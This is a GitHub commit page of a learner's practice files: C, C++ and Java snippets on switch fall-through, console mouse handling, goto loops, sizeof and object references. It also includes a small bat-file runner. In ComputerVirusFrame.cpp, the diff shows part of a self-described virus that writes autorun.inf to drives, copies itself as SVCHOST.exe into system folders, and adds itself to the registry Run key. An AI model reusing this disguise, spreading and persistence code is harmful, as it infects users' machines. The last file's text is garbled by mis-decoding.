Skip to content

Commit 8ca5f1a

Browse files
committed
各种测试
1 parent 758dc57 commit 8ca5f1a

12 files changed

Lines changed: 193 additions & 6 deletions

ComputerVirusFrame.cpp

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ int main(){
3535
const char *autoRun = {"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
3636
const char *files_autorun[10] = {"c:\\autorun.inf", "d:\\autorun.inf", "e:\\autorun.inf"};
3737
const char *files_svchost[SVCHOST_NUM+1] = {"c:\\windows\\system\\MSMOUSE.DLL", "c:\\windows\\system\\SVCHOST.exe", "c:\\windows\\SVCHOST.exe", "c:\\SVCHOST.exe", "d:\\SVCHOST.exe", "e:\\SVCHOST.exe", "SVCHOST.exe"};
38-
const char *regadd = "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /t REG_SZ /d SVCHOST.exe";
38+
const char *regadd = "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /t REG_SZ /d c:/windows/system/SVCHOST.exe";
3939

4040
FILE *input, *output;
4141
for(int i = 0; i < 3; i++){

CppMysql/CppMysql.layout

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
22
<CodeBlocks_layout_file>
33
<ActiveTarget name="Debug" />
4-
<File name="MySQL_Dao.cpp" open="1" top="1" tabpos="5">
5-
<Cursor position="1227" topLine="18" />
4+
<File name="MySQL_Dao.cpp" open="1" top="0" tabpos="3">
5+
<Cursor position="0" topLine="0" />
66
</File>
7-
<File name="MySQL_Dao.h" open="1" top="0" tabpos="6">
7+
<File name="MySQL_Dao.h" open="1" top="0" tabpos="4">
88
<Cursor position="583" topLine="1" />
99
</File>
10-
<File name="main.cpp" open="1" top="0" tabpos="4">
11-
<Cursor position="1013" topLine="26" />
10+
<File name="main.cpp" open="1" top="1" tabpos="2">
11+
<Cursor position="120" topLine="0" />
1212
</File>
1313
</CodeBlocks_layout_file>

case没有break的效果.c

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
#include <stdio.h>
2+
3+
int main(){
4+
int c;
5+
while((c=getchar())!='\n'){
6+
switch(c-'2'){
7+
case 0: //没有break就会一直向下执行直到遇到break或者switch结束。(接下来的case不用判断一直执行到下一个break)
8+
case 1: putchar(c+4);
9+
case 2:putchar(c+4);break;
10+
case 3:putchar(c+3);
11+
default:putchar(c+2);break;
12+
}
13+
}
14+
return 0;
15+
}

dos操作鼠标.cpp

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
#include<windows.h>
2+
HANDLE hInput; /* 获取标准输入设备句柄 */
3+
INPUT_RECORD inRec;/* 返回数据记录 */
4+
DWORD numRead; /* 返回已读取的记录数 */
5+
int Y,X;/* X和Y的坐标 */
6+
int input()
7+
{
8+
while(1){
9+
COORD pos = {0,0};
10+
ReadConsoleInput(hInput, &inRec, 1, &numRead);
11+
pos = inRec.Event.MouseEvent.dwMousePosition;
12+
Y=(int)pos.Y;
13+
X=(int)pos.X;
14+
if (inRec.EventType == MOUSE_EVENT && inRec.Event.MouseEvent.dwEventFlags == RIGHTMOST_BUTTON_PRESSED) /* 鼠标左键双击 */
15+
return 1;
16+
if (inRec.EventType == MOUSE_EVENT && inRec.Event.MouseEvent.dwButtonState == RIGHTMOST_BUTTON_PRESSED) /* 鼠标右键单击 */
17+
return 2;
18+
if (inRec.EventType == MOUSE_EVENT && inRec.Event.MouseEvent.dwButtonState == FROM_LEFT_1ST_BUTTON_PRESSED) /* 鼠标左键单击 */
19+
{
20+
if(X>1&&X<80&&Y==0) /* 第一行 */
21+
return 3;
22+
else if(X>1&&X<80&&Y==1) /* 第二行 */
23+
return 4;
24+
}
25+
}
26+
}
27+
void HideCursor()//隐藏控制台的光标
28+
{
29+
CONSOLE_CURSOR_INFO cursor_info = {1, 0};
30+
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info);
31+
}
32+
int main()
33+
{
34+
int rt;
35+
HideCursor(); //隐藏控制台的光标
36+
HWND hwnd=FindWindow("ConsoleWindowClass",NULL);/* 控制台窗口句柄 */
37+
hInput = GetStdHandle(STD_INPUT_HANDLE); /* 输入设备句柄 */
38+
while(1){
39+
ReadConsoleInput(hInput, &inRec, 1, &numRead); /* 读取1个输入事件 */
40+
switch(inRec.EventType)
41+
{
42+
case MOUSE_EVENT:
43+
{
44+
rt=input();
45+
switch(rt){
46+
case 1:
47+
MessageBox(hwnd,"双击操作","111",0);
48+
break;
49+
case 2:
50+
MessageBox(hwnd,"右键单击","222",0);
51+
break;
52+
case 3:
53+
MessageBox(hwnd,"左键单击第一行","333",0);
54+
break;
55+
case 4:
56+
MessageBox(hwnd,"左键单击第二行","444",0);
57+
break;
58+
}
59+
}
60+
break;
61+
}
62+
}
63+
}

execBatFile.cpp

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
/**
2+
之所以存在这个文件来执行bat文件,是因为实际操作发现,没有办法用cmd参数出入bat文件让它执行。
3+
*/
4+
#include <stdio.h>
5+
#include <iostream>
6+
#include <fstream>
7+
#include <windows.h>
8+
using namespace std;
9+
10+
int main(int argc, char * args[]){
11+
if(argc != 2){
12+
cout << "command line must like this:" << endl;
13+
cout << "execBatFile[.exe] batFilePath" << endl;
14+
return 0;
15+
}
16+
char * filePath = args[1];
17+
ifstream f(filePath);
18+
if(NULL == f){
19+
cout << "batFilePath error!" << endl;
20+
return 0;
21+
}
22+
string lineChars, gotChars;
23+
while(EOF != f.peek()){
24+
lineChars = "";
25+
char peekChar = f.peek();
26+
while(EOF != peekChar && '\n' != peekChar){ ///windows下面换行是\r\n,程序中只需要处理\n 因为\n写入文件的时候会自动写入\r\n,读入的时候也是\r\n自动修改为\n
27+
f >> gotChars;
28+
if(lineChars.length() > 0)
29+
lineChars += " ";
30+
lineChars += gotChars;
31+
peekChar = f.peek();
32+
}
33+
f.get(); //将末尾的换行读进来
34+
if("" == lineChars)
35+
continue;
36+
if(lineChars[0] == '@' && lineChars.length() >= 4 && lineChars.substr(1,3) == "rem"
37+
|| lineChars.length() >= 3 && lineChars.substr(0,3) == "rem") //注释,不打印
38+
continue;
39+
cout << "command line: " << lineChars << endl;
40+
system(lineChars.c_str());
41+
}
42+
return 0;
43+
}

java中对象的引用传递.java

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
package test1;
2+
import java.io.*;
3+
4+
class Temp
5+
{
6+
public int a;
7+
public boolean b;
8+
}
9+
10+
public class Test
11+
{
12+
public static void main(String args[]){
13+
Temp cls = new Temp();
14+
Temp cls1 = cls;
15+
cls.a = 100;
16+
System.out.println("cls1.a: "+cls1.a); //因为传递的是引用,所以cls的修改会影响到cls1
17+
}
18+
}

loop-goto.c

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
#include <stdio.h>
2+
3+
int main(){
4+
loop:
5+
printf("hellow world\n");
6+
goto loop;
7+
return 0;
8+
}

sizeof字符常量/sizeof.c

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
#include <stdio.h>
2+
3+
int main(){
4+
printf("%d\n", sizeof('a'));
5+
return 0;
6+
}

sizeof字符常量/sizeof.cpp

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
#include <stdio.h>
2+
3+
int main(){
4+
printf("%d\n", sizeof('a'));
5+
return 0;
6+
}
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
c�������� sizeof('a') ��4�� ��Ϊc������ַ�������ʵ��int����
2+
c++�����dz����char�����Ϊ 1

0 commit comments

Comments
 (0)